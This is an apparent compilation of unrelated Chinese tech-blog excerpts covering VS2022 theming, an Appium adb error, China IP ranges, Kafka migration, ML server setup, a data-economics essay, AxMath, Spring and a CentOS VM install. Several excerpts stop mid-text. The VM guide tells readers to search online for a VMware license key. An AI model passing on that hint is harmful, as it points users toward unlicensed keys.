来看看博主的运行结果(小插一嘴,按F5运行哟) 是不是很神奇呢,到了这里,就有人会觉得这个编译器不合我的胃口,都没心情敲代码了,别急,还没完呢,我们来一起换个办公室,自己挑选总没理由了吧。 四.美化编译器 1.简单的调整主题(字体and颜色) 大家可以挑选自己喜欢的主题颜色,字体等等。博主会想要是能边看美女别敲代码就好了,这不,VS2022就给了我们这个机会。 2.调整背景图 更改需要关闭后进行完全设置,所以完成后,关掉VS,会看到如图 出现修改完成我们就大功告成了,点击close,重新打开VS2022,这时候会有默认背景,先来看看默认的小姐姐 接下来让我们换一个小姐姐^^ 这样我们就完成啦(别问博主为什么没有换小姐姐,博主可是君子) 总结 经过上述,我们就可以拥有一个自己的优美学习室了,很感谢大家耐心看完,如有疑问,评论区留言哦) 都让大家和小姐姐一起敲代码了,还不给博主一个不要钱的三连吗

【Appium踩坑】settings delete global hidden_api_policy_pre_p_apps‘ exited with code 255‘

1、解决 小米手机:开发者选项里 - USB调试(安全设置) - 打开 (部分设备可能不生效,需要再关机重启一下) 以下设置开关,都打开: 一加手机:开发者选项里 - 禁止权限监控 - 开启 2、详细报错信息 Original error: 'Command '/Users/xxx/Library/Android/sdk/platform-tools/adb -P 5037 -s 6c19e3ad shell settings delete global hidden_api_policy_pre_p_apps' exited with code 255';

中国大陆IP段(含港澳)【2022-09-24】

1.0.1.0/24 1.0.2.0/23 1.0.32.0/19 1.0.8.0/21 1.1.0.0/24 1.1.10.0/23 1.1.12.0/22 1.1.16.0/20 1.1.2.0/23 1.1.32.0/19 1.1.4.0/22 1.1.8.0/24 1.1.9.0/24 1.10.0.0/21 1.10.11.0/24 1.10.12.0/22 1.10.16.0/20 1.10.32.0/19 1.10.64.0/18 1.10.8.0/23 1.116.0.0/15 1.118.0.0/16 1.119.0.0/17 1.119.128.0/17 1.12.0.0/14 1.180.0.0/14 1.184.0.0/15 1.188.0.0/14 1.192.0.0/13 1.2.0.0/23 1.2.10.0/23 1.2.12.0/22 1.2.16.0/20 1.2.2.0/24 1.2.32.0/19 1.2.4.0/24 1.2.5.0/24 1.2.6.0/23 1.2.64.0/18 1.2.8.0/24 1.2.9.0/24 1.202.0.0/15 1.204.0.0/14 1.24.0.0/13 1.3.0.0/16 1.4.1.0/24 1.4.16.0/20 1.4.2.0/23 1.4.32.0/19 1.4.4.0/24 1.4.5.0/24 1.4.6.0/23 1.4.64.0/18 1.4.8.0/21 1.45.0.0/16 1.48.0.0/15 1.50.0.0/16 1.51.0.0/16 1.56.0.0/13 1.68.0.0/14 1.8.0.0/16 1.80.0.0/13 1.88.0.0/14 1.92.0.0/15 1.94.0.0/15 101.0.0.0/22 101.1.0.0/22 101.101.100.0/24 101.101.102.0/23

关于SSM框架的高校实验室管理系统答辩问题及回答

1.在你的展示中,你说你运用了云服务器,是做了后端吗?你的上一位小组同学又说没做后端?你们的功能实现都是分开的吗? 答:老师您好。我所负责的是信息管理模块的功能,所以我们使用了第三方提供的云服务器和云数据库进行数据存储,但我们除了数据存储外并没有其它的后端控制功能。我们小组的功能是分工做的,功能完成后再进行了合并与测试。目前已合并成功且形成一个完整的安卓APP。 2.你们使用了什么软件进行这个APP的编译?使用的是什么语言? 答:老师您好。我们小组使用的是3.5.1版本的Android Studio进行编译。使用了JAVA语言进行功能的编写。 3.你们的数据传输是怎么完成的?如何实现数据库的模糊查询和精确查询? 答:老师您好。为了实现数据传输功能与查询功能,我们参考了提供云数据库服务的第三方的方法。具体实现在我们的源程序中写了一个post文件以实现云数据库和手机端之间的数据收发及查询。

HTML:快速生成语法和调试工具

目录 一、HTML快速生成语法 二、使用调试工具 一、HTML快速生成语法 此语法基于:HBuilder 1、生成标签直接输入标签名,然后按tab或回车(enter)键即可 例如:p 按回车 直接生成:<p></p> 2、生成多个标签,在标签名后面添加 “*”然后按tab或回车(enter)键即可 例如:p*3 回车就可以生成3个p标签 3、如果有父子关系,用“>”号,然后按tab或回车(enter)键即可 例如:ul>li 按回车就可以直接生成:<ul><li></li></ul> 4、如果有兄弟标签,用“+”号,然后按tab或回车(enter)键即可 例如:div+p 按回车就可以直接生成:<div></div><p></p> 5、如果带有类名或id名,直接写.class(类名)或#id(id名) ,然后按tab或回车(enter)键即可 例如:.demo 然后按回车可以直接生成:<div class="demo"></div> #demo 然后按回车可以直接生成:<div id="demo"></div> p.demo 然后按回车可以直接生成:<p class="demo"></p> 6、如果生成的div类名是有顺序的,可以用自增长$,按tab键生成 例如:.div$*3 按tab键生成 <div class="div1"></div> <div class="div2"></div> <div class="div3"></div> 二、使用调试工具 打开任意一个网页,按F12或者右键点击检查 会出如图所示的调试器 1、ctrl+滚轮可以放大页面大小 2、左边是HTML元素结构,右边是css样式 3、右边css样式可以改动数值(左右箭头或直接输入)和查看颜色 4、ctrl+0恢复浏览器 5、如果点击元素,发现右侧没有样式引入,极有可能是类名或者样式引入错误。 6、如果有样式,但是样式前面有黄色叹号提示,则是样式属性书写错误。

服务器搭建机器学习环境

准备: 1、安装anaconda miniconda3-教程 anaconda3-教程 wget https://repo.anaconda.com/archive/Anaconda3-2020.11-Linux-x86_64.sh bash Anaconda3-2020.11-Linux-x86_64.sh --python3 2、创建虚拟环境+激活虚拟环境 创建虚拟环境 conda create -n environment_name python=X.X 不表明 python 版本,会自动创建最新版本 2. 激活环境 conda activate web_crawler_env # or source activate web_crawler_env 3、在虚拟环境中下载需要的包(主要有torch、cuda) conda install pytorch torchvision torchaudio cudatoolkit=11.3 -c pytorch 4、使用pycharm连接服务器的python环境 在Tools中配置映射 配置python解释器 5、配置pycharm的代码自动同步服务器 pycharm同步代码 问题 问题1:运行cuda时报错 原因:没有下载cuda(或,下载cuda出错没注意到) 解决方法:重新下载 查看可下载cuda版本 : nvidia-smi 下载可用版本的cuda生成下载代码 问题2:测试cuda还是为False import torch torch.cuda.is_available() 报错: UserWarning: CUDA initialization: Unexpected error from cudaGetDeviceCount(). Did you run some cuda functions before calling NumCudaDevices() that might have already set an error?

Kafka MirrorMaker迁移

一、迁移流程 1.1 准备 kafka 集群 https://blog.csdn.net/qq_39680564/article/details/127048316 1.2 接入 MirrorMaker 1.3 配置 MirrorMaker 信息 1.4 启动迁移任务 1.5 切换生产者、消费者 二、迁移原理 MirrorMaker 创建一个通道将源端与目的端联通 MirrorMaker 作为消费者,消费源集群;MirrorMaker 作为生产者,将消息推送到目标集群 MirrorMaker 可将 topic 中的历史消息,以及后续产生的消息实时同步到目标集群 该工具在 kafka 安装包的 bin 目录 kafka-mirror-maker.sh 部署 MirrorMaker 的机器需要打通源端与目标端的网络 三、数据迁移 3.1 修改 consumer 配置 vim config/consumer.properties bootstrap.servers=10.11.113.181:9092,10.11.113.182:9092,10.11.113.183:9092 group.id=test-consumer-group partition.assignment.strategy=org.apache.kafka.clients.consumer.RoundRobinAssignor auto.offset.reset=earliest 参数说明bootstrap.servers自建实例的 broker 接入点列表group.id迁移数据时用到的消费者组 ID,请勿与实例已存在的消费者命名重复冲突partition.assignment.strategy分区分配的策略auto.offset.reset消息读取范围,earliest:从最早消息开始 3.2 修改 producer 配置 vim config/producer.properties bootstrap.servers=10.11.113.184:9092,10.11.113.185:9092,10.11.113.186:9092 compression.type=none 参数说明bootstrap.servers目标端实例的 broker 接入点列表。compression.type数据压缩类型 3.3 启动迁移 bin/kafka-mirror-maker.sh \ --consumer.config config/consumer.properties \ --producer.

数据要素的性质、定价及配置

摘要: 作为数字经济的“原料”和”加工对象”,数据在经济发展中变得越来越重要。随着信息技术的发展,几乎一切都在数据化,数据几乎无所不在。数据作为一种新的要素,与土地、资本、劳动力和技术相比存在着一些根本性的差异,其中最为突出的特征是非竞争性、互补性、外部性与指数级增殖性。而数据要素定价是数据价值链的核心。数据定价模式十分复杂,还需要充分考虑到效率和隐私安全的平衡。此外,实现数据要素的开放共享,对于促进经济持续增长和转型至为关键。但在数据要素的实际利用过程中,存在“数据孤岛”“数据烟囱”“数据垄断”“数据黑市”等问题,只有实现效率、公平和隐私三者之间的平衡,满足可行的产权认定、有效的隐私保护、合理的收益分配机制、必要的关键信息等前提条件,并且有效结合政府规则、社会和市场自发力量,才能促进数据要素有效配置。 1 数据是什么 作为一种新的要素,数据日益受到重视。那么,数据究竟是什么?具有哪些主要的特征?学术界和实务界均有很多分析。一个可以借鉴的分析框架是Ackoff(1989年)提出DIKW框架,其中D表示数据(data)、I表示信息(Information)、K是知识(Knowledge)、W是智慧(wisdom)。之后,不少学者(Bellinger等,2004;Rowley, 2007;徐忠、邹传伟,2020)对此框架进行了拓展和完善,对数据、信息、知识和智慧的特征做了分类。 数据是一种符号(Symbol)、记录,具体形式可以是一篇文章、一段声音、一张图片。国际数据管理协会认为,“数据以文字、数字、图形、图像、声音和视频等形式呈现事实”(DAMA,2020)。数据往往产生于人与人、人与物、人与自然的互动过程。在万物互联的时代,物联网大行其道,物物互动也会产生海量数据。 而信息是经过处理的有用数据,目的是用于消除不确定性。信息(Information)是指一些能够回答在什么环境、是什么人、发生了什么事情等问题的事实或细节。比如明天会很热,这一段话就是一段信息,能够将明天天气变化的不确定性转为一定的确定性,这也是信息的价值所在。North在《理解经济变迁过程》(2007)当中,讨论不确定性时,也对信息和知识也进行过区分,而且给定现有的知识存量,可以通过增加信息的方式减少不确定性。 知识是物质和社会环境规律、模式的累积,基于数据和信息形成的有组织或有逻辑的解释,能够创造新的价值。知识可以分为可编码知识(显性知识)和不可编码知识(隐性知识)。从信息到知识,则是人认知的一种升华,是从外在体验转为内省感悟的一个过程。毫无疑问,尽管数据或信息是海量的,但转化为对世界的认知,以及改造世界的知识,是需要更多努力和投入的。通过海量数据或信息得到算法、模型可以视为一种知识。或者说,知识类似生产函数,而数据类似生产函数的一种投入要素(Jones和Tonetti,2020) 沿着Romer(1990)、Aghion和Howitt(1992)的分析范式,本文将上述DIKW四分类再进一步渐简化为数据和知识两个维度。其中,数据是一种要素投入,而知识则是一种生产函数。后续讨论大体上按照这种框架展开。 2 数据要素的基本特性 (一)非竞争性 数据容易存储,而且可复制性强。如果不考虑运行维护和存储成本,几乎可以无限制复制。无论是统计机构发布的调查数据,还是各种互联网平台收集的个人数据,都可以同时被多个用户使用,物理意义上说不会产生任何损失,同时也不会相互影响,非竞争性特征明显。一个典型的例子就是Kaggle设立的机器学习竞赛,相关数据就可以被不同参赛者使用。因此,数据和石油等自然资源不能简单类比,因为后者竞争性,多开采一桶石油,地球上石油储存量就少了一桶(Varian,2019)。反倒是将其比作阳光,似乎更为恰当。当然,实际使用过程当中,数据的获取需要必要的付出及条件,不像获取阳光那样无成本,所以数据仍然存在一定排他性特征(Partially Excludable; Carriere-Swallow和Haksar,2019)。正因为如此,根据非竞争性和一定的排他性,数据可以视为一种准公共产品或者公共品。 (二)互补性 不同来源的数据相互融合,可以提高揭示潜藏线索或者规律能力,增加单一数据源的边际价值,一定程度上可以使数字要素具备规模报酬不变甚至递增的特征。规模报酬不变、网络外部性是经济实现内生增长的重要源泉。Krugman、Romer是为数不多的认识到收益递增的主流经济学家,而圣塔菲研究所的Arthur对此有很系统的研究(复杂经济学,2018)。 也有观点认为,数据作为一种投入要素,边际回报仍然呈现递减特征,这和其他要素没有什么本质的不同。Varian(2019)举例说明,图像识别的精确度会随着训练时投喂的数据量提高而增加,但改进的速度会逐步放缓。但这样的观点只是强调了数据要素的单一应用。尤其值得重视的是,由于数字技术的发展,使得原来很难数字化的行为或事物都可以数字化,真正实现了古老哲学中的“万物皆数”,这就为跨界数字融合创造了前所未有的条件,使原来不相干的领域实现了联结。这也是数字时代创新和价值创造不同于工业时代的重要特征。数据具有非竞争性,能够被用于多个用途,而且后续使用边际成本会不断下降,加上互补性和网络性以及学习效应,数据要素仍可能具有规模报酬递增的特点。 (三)外部性 数据分享的确有助于促进研发、改进产品和服务质量,提高效率,但同时,由于存在信息不对称和平台的市场垄断地位,分享数据的一方未必能够获得足够补偿, 由此产生了隐私外部性(Carriere-Swallow,Haksar,2019)。比如,消费者数据可能在不知情的情况下转移给第三方,导致更多垃圾信息骚扰或不利的价格歧视(Odlyzko,2003)。这些负外部性很难被消费者和数据采集企业内部化。 由于不同数据之间具有关联性,可以用线性规划等方法,从一类已知的数据推断未知数据,从一组用户的行为数据可以推断另一组用户的行为。这样,就可能造成数据公开分享过程当中,用户隐私泄露,引发数据伦理问题。而且还会导致数据过度供给,数据价格过低,从而降低数据市场效率(Acemoglu等,2019)。这也决定了数据要素的安全共享使用,与加密技术的发展密切相关。 另外,数字化企业可能依靠网络外部性,过度集中数据,并获取大量超额收益。掌握或拥有独有的数据,就像掌握了独有的专利和技术一样,可以使数据的掌控者获取一种超额收益。这样,就会强化数据的私有属性,阻碍数据的分享和融合。某种程度上,申请专利和获取独有数据,都是市场主体建立竞争力或护城河的重要方式。 (四)指数级增殖性 数据可以看成是各种有意识或者无意识活动的附属品。数据的应用过程,本身可以产生更多新的数据,加快决策或者算法的迭代。例如,无人驾驶汽车,由基于数据训练得到的算法控制,行驶里程越长,将产生更多场景数据,反过来可以促进算法的进一步优化,形成“数据—算法—数据”的自我积累增长过程。随着整个经济社会数字化的程度提高,智能手机的普及,传感器的广泛应用,宽带传输技术的升级,算力的不断增强,全球互联,万物互联,数据要素呈现指数增长态势。根据IDC估计,到2025年,全球数据预计将达到175ZB,与2019相比,年均增长27%,相当于数据规模三年翻一番。数据规模是经济规模的增函数,超大规模经济体可能因此积累更多数据优势。 数据的指数级增长,会对经济增长产生何种影响,存在一定争议。一种观点认为,数据增加有增长效应(Growth Effect),即数据的规模报酬递增或不变特性,可以实现持续经济增长。由于存在数据反馈环(Data Feedback Loop),企业收集数据,就能够获得更大的市场地位,并因此获得更多数据(Farboodi等,2019)。巨大的门槛效应以及网络外部性,有助于实现规模经济。此外,围绕数字化产生更多类型的产品和服务,扩大了现有的产品服务空间,从而推动经济的可持续增长。但也有反对的观点,认为数据增加仅有水平效应(Level Effect),或者说受制于边际报酬递减,更多的数据并不会使得经济增速的路径发生改变。即使存在规模报酬递增,这种效应也只存在企业内部,无法适用于整个经济。Bajari等人(2018)应用亚马逊的数据进行了实证,表明来自数据规模增加的收益存在上限。 3 数据要素如何定价 数据作为一种要素,其价值实现关键在于连接融合和开放共享。数据要素和其他要素结合,必然会创造新的价值。数据价值链涉及到数据的生成、收集、交易、使用等环节,其中数据要素定价是数据供应链的核心。在讨论数据定价之前,需要先区分数据产品(Data products)和数字化产品(Digital products)。前者是指人类活动的客观历史记录,比如人口普查数据、商业型数据库。后者则是以数字化形式呈现的商品或服务,比如一本电子书、一部数字电影,一张数字化的地图,一个数字化的生产解决方案,等等。数字化产品中的生产和使用过程中又会衍生出更多新的数据。下面,分别从数据产品和数字化产品两个角度讨论数据价值的实现。 图1 数据供应链示意图 (一)数据产品 从数据供应链的视角看,数据售卖基本处于数据供应链的前端,具体数据在售卖之前,可能涉及到数据收集、清洗、储存、可视化等环节。像Bloomberg 、Wind、CEIC、邓白氏这样大家比较熟悉的数据公司,主要业务就是收集、整理、汇集不同来源或者特定领域的数据,然后卖给下游客户。相关数据有的来自传统统计或调查机构,比如政府统计机构、行业协会,有的来自企业生产经营状况,有的则是个人各种行为调查。从规模上看,更多数据来自电商平台、工业互联网平台。数据的客户包括金融机构、政府单位、企业、科研机构等。现实当中,也存在一些非正规甚至不合法的数据交易,这些数据往往通过正规、公开渠道很难获得。 数据的价值,往往与数据的可替代性、更新频率、数据颗粒度、完整性、可获得性等特征有关。但与一般商品不同,数据复制的边际成本接近零,数据定价更多依赖需求方的价值评估,而非成本加成,数据定价模式也更为复杂。有时候,数据使用者创造的价值或价值实现的范围,反过来决定了数据定价,表现为事后定价。当下,常见的定价模式包括免费、免费+付费增值、按需收费、固定费率等方式。其中,政府事业单位或者其他公共机构的公开数据多为免费。采取免费+付费的方式,多是用免费数据吸引潜在的客户群体,付费购买价值更高的数据或者数据增值服务。免费数据,通常及时性不强、颗粒度较粗。按需收费方式,一般是通过API接口传输数据,按照具体使用量收费,常见于金融等高频场景。固定费率则是客户购买账号,然后获得一定期限内数据的使用权限。后两种方法也可以结合起来,形成两部定价模式,这种模式更能实现收入最大化,在一般的数据销售当中也比较常见(Wu和Banker,2010)。 随着数字经济的发展,收集和利用微观个体的信息更为便利,但与此同时,人们对加强个体隐私保护的期待也更为迫切。数据定价需要充分考虑到效率和隐私安全的平衡。前面提到过,数据不是普通的私人物品,如果不考虑非竞争性、隐私外部性,数据定价就存在扭曲。例如,如果某个要进行的查询(Query)是其他查询的线性组合,或者通过其他查询推断得到,购买这个查询就存在套利行为。又比如,由于存在社会网络,不同消费者的个人信息往往具有一定相关性,购买一部分消费者的数据,或许就能推测别的消费者信息。因为这种负外部性,会出现数据的过度供给,导致数据价值被严重低估(Accemoglu,2020)。 图2 数据要素的无套利定价 目前讨论比较集中的一个领域是无套利定价(Arbitrage-free pricing)。图2给出了无套利定价示意图。数据要素的均衡价值E取决于隐私和数据价值之间的平衡。一方面,数据购买方的支付意愿随着数据质量变化,即价值曲线。数据质量更高,能够揭示的信息更多,数据价值就更高。另一方面,数据拥有方(比如个人)一般对隐私比较看重,透漏个人信息需要得到相应补偿,即补偿曲线。要想数据拥有方面提供更多私人的真实信息,就需要支付更高补偿。这种定价方式,超越了原来把隐私保护绝对化的做法,对隐私的保护和数据使用有效结合了起来。在均衡点E的价格,既能够根据数据质量,给予不同来源数据合适的补偿,同时又能够克服数据购买过程当中的套利行为。当然,要实现这种无套利行为,还需要发展相关加密技术,比如隐私计算。 作为一种隐私计算方法,安全多方计算(Secure Multi-Party Computation,MPC)近年来备受关注。随着机器学习和人工智能的普及,一种算法的训练和应用,往往需要采用不同来源的数据,这就涉及到如何保护各自隐私安全、同时又能确定不同来源数据贡献的问题。安全多方计算可以打破数据孤岛,实现数据的可控共享,同时最小化数据泄露风险,具有重要的理论和现实意义。安全多方计算由1986年由姚期智提出(Yao, 1986)。进入互联网和数字化时代以后,数据共享需求更为迫切,安全多方计算也得到了进一步发展,到2018年,谷歌、阿里等大科技公司已经实现了一些商业案例(Hong等,2020)。 当然,不少掌握数据或者大数据的企业,并不会简单销售数据,更多是通过提供数据相关的增值服务,数据本身并未发生转移。电商平台、社交平台或电信基础运营商,掌握大量的用户信息,有时候可以利用数据,对个人、企业或者机构进行精准画像,从而为数据的购买者提供引流、价格歧视等服务。比如一家广告商可以在搜索引擎上面通过竞价排名,定向投放广告,同时支付一定的费用。又比如,互联网平台公司可以通过产业链促进信息共享,菜鸟物流与不同快递物流公司的数据对接,优化物流路径,以解决“双十一”期间物流拥堵的问题。利用大数据精准定位政策作用对象,政府也可以进一步改善治理,比如识别低收入群体发放消费券,识别活跃市场主体实施针对性支持政策等。不少公司,通过整合数据,融入自身的智力,通过人工智能、机器学习的方法,提供数据分析服务,比如一些大数据公司提供大数据征信业务。这一类服务定价,由于涉及到数据增值部分,定价方式更难统一。 (二)数字化产品 从经济学角度看,数字化产品具有赢者通吃、高固定成本-低可变成本、更加强调体验、收入变现渠道更多元等特点。 4 谁应当拥有数据:从产权到可及性 通常,清晰明确的产权界定是资源有效配置的基础。Coase认为,最初产权分配并不重要,只要存在充分竞争,相关的收益和成本能够完全内部化,资源就能实现有效配置(Coase,1960)。如果把隐私也看成一种权利,那么隐私权利在消费者和作为数据收集方的企业之间如何配置,并不重要。这也是芝加哥学派基于产权的观点(Laudon, 1997)。但从数据要素具有非竞争性、隐私外部性、互补性等特点,过度采取采集数据、侵犯隐私、利用数据优势谋求市场垄断权力现象频频发生,一定程度上说,科斯定理并不适用于数据要素。当然,如果因为隐私保护,严格限制数据使用,又不能发挥数据的规模经济优势(Jones和Tonetti,2020)。在实践当中,平衡效率、公平和隐私等多重目标,实现数据的有效利用,数据产权归属并不是非黑即白,更可能是在上述两类观点之间存在一个广泛的谱系。 数据产权的分布对福利有显著影响。数据是经济活动的副产品,企业若能拥有和客户打交道过程获得的个人数据,则有助于其加大数据收集、分析和利用方面的投资。不利之处在于,企业不一定会尊重客户隐私。同时,由于担心出现创造性破坏,更不愿意与其他企业分享数据。凭借数据优势,企业可以拥有更大的市场力量,并可能妨碍其他企业进入,影响竞争公平性。有研究表明,如果不能够发挥数据非竞争性特点,通过连接、融合和共享,实现规模经济效应,全社会福利成本的损失是巨大的。尤其是完全禁止数据分享,会导致社会福利比最优水平减少近60%(Jones和Tonetti,2020)。从目前理论研究和实践发展的角度看,如果数据要素归属消费者,消费者则可以自行权衡隐私效用与交换个人数据所带来的经济收益,从而实现数据要素的更有效配置,提升全社会福利。近年来,金融监管者开始意识到这一点,赋予个人更多数据权利,积极推动开放银行(Open Banking)的发展,加大金融数据的开放共享,促进了金融创新和竞争。 私人物品强调产权归属,但数据要素具有非竞争性和部分排他性,具有更强的公共品或准公共品性质,可及性(Access)可能更为重要(Varian,2018)。过度强调数据要素的产权归属,会限制数据的流动、共享和再利用,无法释放潜在价值。同时,有些设计,实用性并不一定强,比如“个人数据的可携性”,数据主体不仅有权知悉、访问、更正数据控制者个人被采集的数据,也有权将这些数据转移给第三方。但这可能会导致财产权和人格权的冲突。与数据的人格权益归属存在较多共识不同,数据的财产权益归属问题,目前各方面争议较多。为此,数据可及性,才是数字经济时代促进市场竞争、充分发挥数据价值的重要变量(Cremer等,2019)。实际上,保护个人隐私严格的欧盟,意识到数字经济发展落后美国,已经在GDPR生效以后,进一步制定《欧盟数据战略》,推出《数字服务法案》、《数字市场法案》,试图在保证数据安全的前提下,促进个人和非个人数据开放共享。 增强数据的可携带性和不同数据基础设施接口的转换便利性,有助于提高可及性。尤其是物联网加快发展,对基于通用性、标准化程度高的接口,实现安全可行的数据交换途径变得更为迫切。具体实践当中,已经数据空间、数据银行、我的数据(My data)等应用模式。但也需要注意,由于数据具有非竞争性特征,加强数据的共享,可能会因为规模效应、网络外部性,进一步强化在位企业的数据优势,反过来损害竞争。 5 如何促进数据开放共享 数据要素是一种基础性战略性资源,实现数据的开放共享,对于促进经济持续增长和转型至为关键。但在数据要素的实际利用过程当中,既存在“数据孤岛”、“数据烟囱”,受部门利益阻隔,公共数据资源闲置浪费现象严重;也存在“数据垄断”,在位企业滥用数据优势,阻隔数据价值链;还存在“数据黑市”,个人信息被过度收集,隐私得不到有效保护,导致了严重的社会伦理问题。只有达到效率、公平和隐私三者之间的平衡,满足可行的产权认定、有效的隐私保护、合理的收益分配机制、必要的关键信息手段等前提条件,有效结合政府规制、社会和市场自发力量,才能促进数据要素的更有效配置。 (一)发挥政务大数据第一撬动效应,加快数据开放共享步伐 政府职能部门及其部分事业单位在日常事务当中积累沉淀了大量数据,涉及经济社会运行的各个方面,数据来源稳定、规模可观,而且真实性、完整性、互补性好。随着电子政务的发展,政府掌握了全社会大约80%的信息资源。政务大数据公共属性最强,对于谁应该拥有数据,争议和纠纷相对较少。政府开放数据,具有很强示范意义,能够更好推进全社会数据开放共享。美国于2009年上线了DataGov网站,加大政府数据开放力度。2019年则发布了《联邦数据战略与2020年行动计划》,推动数据的保护、共享和开放。英国在其数字战略当中也提到要转变对政府数据的使用。国内数字政务推动也比较快,其中不乏一些比较好的案例。比如浙江成立了“最多跑一次”改革办公室,打通公安、社保、房产、税收、教育等部门数据,让数据多跑腿,群众少跑腿。 但另一方面,由于职能部门数据共享开放制度不健全、信息基础设施不完备,对数据安全和风险的担忧突出,消除数据孤岛,进一步打通数据链还有很大空间。不同政府职能部门之间的行政性壁垒往往也很难打破,数据难以实现共享,或者仅仅限于统计级、相对陈旧的有限数据共享。跨部门获取数据,有时候经过主要负责人协调,各个职能部门依旧能拒绝、拖延或者缩水提供。此外,不少地方的数据归集到了一起,受编制、经费等限制,开发利用远远不够。

Axmath实用教程

AxMath 输入公式的面板 缩放公式的大小: Ctrl+鼠标滚动 打开提示: \ 在符号面板中移动: 逗号向前翻页 句号向后翻页 注意\后面输入东西要在英文输入法的状态下 (上述功能要确保在设置->语法与快捷键中打开了启用混合语法输入) 符号面板 转换符号界面 鼠标滚动 符号面板 右键 可以设置外观, 查看某个符号的快捷键,为某个符号设置快捷键 latex编辑器 Ctrl+Tab 右侧面板 第一项: 带历史记录的剪贴板 第二项: 磁贴(经常使用的东西):选中后拖动即可制作 第三项: 参考书 最右面:参考书列表,可以在左上角自定义,写好标题后拖动即可添加 符号面板上面的一条 更改字体的格式 中文是无法更改的,英文可以 自动着色: 给公式着色 输出 保存 导出图片(清晰度会高一些,.bmp位图) 右键->复制图片到剪贴板(Ctrl+Shift+c) 嵌入到word中: 直接关闭面板即可 word排版 基线对齐 四线格的第三条线 word的默认对齐形式,插入公式时:分母上的东西在字的下方 换格式:开始->清除所有格式 自定义设置格式: 字体->高级,位置(提高,降低)之类的 行距 插入公式之后行距不正常 更改行距: 页面布局->页面设置->文档网格: 无网格 公式对齐方式 在符号栏上面一排有靠左,靠右,居中对齐 连等式 符号组倒数第二个页面倒数第二行倒数第二个 如果第一个公式很长,如要输入y=a+b+c+d+e+f+g+h+i+k 可以y(那个符号)=(再次输入那个符号)你会看到惊喜 矩阵 元素的对齐:创建矩阵后右键 计算功能 设置->计算器->以底色标识计算结果(仅仅在编辑时显式) ​ ->常数,可以增加常数 如果是角度,一定要加上符号 输出结果->右键可以设置结果格式 说明: 科学计数法使用数学上的写法无法识别3E8或者3e8定义的变量与常数重名,变量优先幂指函数和复合角标 不支持A,支持C(排列组合)可以利用上标-1计算反函数(要换行) word Axmath标签里的内容 右编号公式: 右边有编号(论文会用到)

【Spring】Spring教程入门到精通

文章目录 1.前言2.Spring2.1 Spring的优点2.2 Spring下载配置 3.IOC3.1 IOC的处理过程3.2 IOC底层原理3.3 IOC接口3.4 IOC操作Bean管理(普通bean)3.5 IOC操作Bean管理(工厂bean)3.6 IOC操作Bean管理(bean作用域)3.7 IOC操作Bean管理(bean生命周期)3.8 IOC操作Bean管理(xml自动装配)3.9 IOC操作Bean管理(外部属性文件) 4. AOP4.1 底层原理4.2 jdk动态代理4.3 相关术语4.4 准备工作4.5 AspectJ注解操作4.6 AspectJ配置文件 5. JdbcTemplate5.1 数据库添加5.2 数据库修改与删除5.3 数据库查询5.4 数据库批量操作 6. 事务6.1 入门例子6.2 事务操作 1.前言 本文是在看了b站的尚硅谷视频 总结出来的笔记以及见解 视频如下: 尚硅谷Spring5框架教程(idea版) 或者 2020最新Spring框架教程【IDEA版】-Spring框架从入门到精通 源代码如下: spring从入门到精通的实例代码.rar 轻量级开源的JAVAEE框架 可以解决企业复杂的应用 拥有IOC,AOP两个核心部分 可结合这篇文章进行大概的了解这篇文章主要的框架 不容易遗忘,有个spring的思路点以及启发点 Spring框架梳理总结(适合多刷) 2.Spring 2.1 Spring的优点 IOC方便解耦,简便开发 AOP不改变源代码,增加其功能 方便程序测试 方便其他程序的整合 降低API的开发难度 2.2 Spring下载配置 下载Spring5 下载GA版本(稳定版本) 下载的网址为:https://repo.spring.io/release/org/springframework/spring/ 下载之后压缩 libs内是jar包 导入spring包 3.IOC 3.1 IOC的处理过程 (1)IOC底层原理 (2) IOC接口(BeanFactory)

window11上Linux环境搭建

#以下的大部分图片来自网上,本人在操作过程中忘记截图记录了,但是发出来的这些和我做的是一模一样的!! 一、点击下载centOS7镜像 centos-7.9.2009-isos-x86_64安装包下载_开源镜像站-阿里云 (aliyun.com) 推荐下载CentOS-7-x86_64-DVD-2009.iso 标准安装版 ———————————————— 各个版本的ISO镜像文件说明: CentOS-7-x86_64-DVD-1708.iso 标准安装版(推荐) CentOS-7-x86_64-Everything-1708.iso 完整版,集成所有软件(以用来补充系统的软件或者填充本地镜像) CentOS-7-x86_64-LiveGNOME-1708.iso GNOME桌面版 CentOS-7-x86_64-LiveKDE-1708.iso KDE桌面版 CentOS-7-x86_64-Minimal-1708.iso 精简版,自带的软件最少 CentOS-7-x86_64-NetInstall-1708.iso 网络安装版(从网络安装或者救援系统) ———————————————— 下载速度太慢的话可以放在迅雷里面下载!!复制下载链接到迅雷中就可以了。 二、下载VMware 下载过程中可以同时下载VMwareWindows 虚拟机 | Workstation Pro | VMware | CN 点击链接下载试用版就可以了 第一步:下载完成后安装,安装路径自己可以更改 第二步:许可证的密钥可以自己去网上搜 第三步:安装完成后选择创建新的虚拟机 第四步:选择自定义 第五步:选择稍后安装 ,下一步 第六步:点击Linux,版本选CentOS 7 64位 第七步:输入虚拟机名称(名字自定义)和安装路径 (可以更改) 第八步:设置磁盘大小,这里选择默认配置20G 第九步:自定义硬件 第十步:选择CentOS安装镜像文件 镜像选择刚才下载的CentOS7 第十一步:点击完成 三、进行初始化配置 第1步:启动虚拟机 第2步:选择第一项,Install CentOS 7,时间有点长 继续等待,按任意键继续 第3步:选择语言,这里选择的是中文简体 第4步:进行安装信息的配置,选择安装位置 第5步:进行设置目标位置,配置分区 第6步:选择自动创建它们,然后进行分区设置,这里选择默认配置,也可以安装自己的需求自定义设置。 第7步: 设置好之后完成,保存接收更改 第8步: 选择网络和主机名点击打开 第9步: 安装位置与网络都已配置好,开始安装 第10步:系统安装的同时,设置root账户的密码,密码很重要,要记住! 第11步:等待一会儿,安装完成,重启设备 第13步:安装完成,可以开始使用啦!

calcite 启发式优化器(HepPlanner)原理与自定义优化规则实现

